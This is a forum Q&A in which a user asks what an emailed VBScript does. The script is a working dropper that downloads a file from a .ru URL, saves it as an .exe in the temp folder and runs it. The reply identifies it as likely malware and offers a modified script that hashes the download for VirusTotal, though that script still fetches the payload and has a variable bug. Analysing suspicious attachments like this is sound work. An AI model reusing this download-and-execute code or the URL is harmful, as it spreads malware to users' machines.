Possible Extortion of Data - vbscript

Question

someone sent me an email with a vbs script, but I don't know what it is as I don't know vbs.
I am guessing this is a swindle to extort some data from me, but I can't really tell what data. Can someone please exlpain what would that scrtipt do?
Sub HTTPUpload( myURL, myPath )
Dim objShell
Set objShell = WScript.CreateObject( "WScript.Shell" )
Dim i, objFile, objFSO, objHTTP, strFile, strMsg
Const ForReading = 1, ForWriting = 2, ForAppending = 8
Set objFSO = CreateObject( "Scripting.FileSystemObject" )
Const TemporaryFolder = 2
Set tfolder = objFSO.GetSpecialFolder(TemporaryFolder)
tname = objFSO.GetTempName + ".exe"
myPath = tfolder + "/" + tname
Set objFile = tfolder.CreateTextFile(tname)
Set objHTTP = CreateObject( "WinHttp.WinHttpRequest.5.1" )
objHTTP.Open "GET", myURL, False
objHTTP.Send
For i = 1 To LenB( objHTTP.ResponseBody )
objFile.Write Chr( AscB( MidB( objHTTP.ResponseBody, i, 1 ) ) )
Next
objFile.Close( )
objShell.Run(myPath)
Set objShell = Nothing
End Sub
HTTPUpload "http://baikalmix.ru/bitrix/js/seo/.../log.php?f=404", ""

Answer 1

As the other guy stated, it could very well be a virus. It's downloading binary data, writing it as an EXE and firing itself off.. You could modify it with this code below. ... You could also just delete the email and forget that dude. I know not "Everyone" is as crazy as some of us when it comes to finding viruses in the wild.. we hoard these things and study them.
I've amended some changes that would provide you with a MD5 Hash and SHA256 Hash that's searchable on VirusTotal and delete the file immediately after. You just need to re-append that line for httpUpload... and it will download... but if you see below I removed the line that was attempting to use the .Run method.
HTTPUpload "http://baikalmix.ru/bitrix/js/seo/.../log.php?f=404", ""
The link you provided is cut off, but if you still have the vbs file, then just remove that whole section of Sub HttpUpload thru End Sub which was right before it... Replace the entire content of the vbs file except for that line mentioned above.
Sub HTTPUpload( myURL, myPath )
Dim objShell
Set objShell = WScript.CreateObject( "WScript.Shell" )
Dim i, objFile, objFSO, objHTTP, strFile, strMsg
Const ForReading = 1, ForWriting = 2, ForAppending = 8
Set objFSO = CreateObject( "Scripting.FileSystemObject" )
Const TemporaryFolder = 2
Set tfolder = objFSO.GetSpecialFolder(TemporaryFolder)
tname = objFSO.GetTempName + ".exe"
myPath = tfolder + "/" + tname
Set objFile = tfolder.CreateTextFile(tname)
Set objHTTP = CreateObject( "WinHttp.WinHttpRequest.5.1" )
objHTTP.Open "GET", myURL, False
objHTTP.Send
For i = 1 To LenB( objHTTP.ResponseBody )
objFile.Write Chr( AscB( MidB( objHTTP.ResponseBody, i, 1 ) ) )
Next
objFile.Close( )
wscript.echo " MD5Hash: " & MD5Hash(sPath) & VbCrLf & " SHA256Hash: " & Sha256Hash(sPath)
Set objShell = Nothing
End Sub
Function MD5Hash(sPath)
MD5Hash = bytesToHex(MD5HashBytes(GetBytes(sPath)))
End Function
Function Sha256Hash(sPath)
Sha256Hash = bytesToHex(Sha256HashBytes(GetBytes(sPath)))
End Function
Function MD5HashBytes(aBytes)
Set objmd5 = CreateObject("System.Security.Cryptography.MD5CryptoServiceProvider")
objmd5.Initialize()
MD5HashBytes = objmd5.ComputeHash_2( (aBytes) )
End Function
Function Sha256HashBytes(aBytes)
'Set objsha256 = CreateObject("System.Security.Cryptography.MD5CryptoServiceProvider")
Set objsha256 = CreateObject("System.Security.Cryptography.SHA256Managed")
objsha256.Initialize()
Sha256HashBytes = objsha256.ComputeHash_2( (aBytes) )
End Function
Function StringtoUTFBytes(aString)
Set UTF8 = CreateObject("System.Text.UTF8Encoding")
StringtoUTFBytes = UTF8.GetBytes_4(aString)
End Function
Function BytesToHex(aBytes)
For x = 1 to LenB(aBytes)
hexStr=Hex(Ascb(MidB((aBytes), x, 1)))
if len(hexStr) = 1 Then hexStr ="0" & hexStr
bytesToHex=BytesToHex & hexStr
Next
End Function
Function BytesToBase64(varBytes)
With CreateObject("MSXML2.DomDocument").CreateElement("b64")
.dataType = "bin.base64"
.nodeTypedValue = varBytes
BytesToBase64 = .Text
End With
End Function
Function GetBytes(sPath)
With CreateObject("ADODB.Stream")
.Type = 1
.open
.LoadFromFile sPath
.Position = 0
GetBytes = .Read
.Close
End With
End Function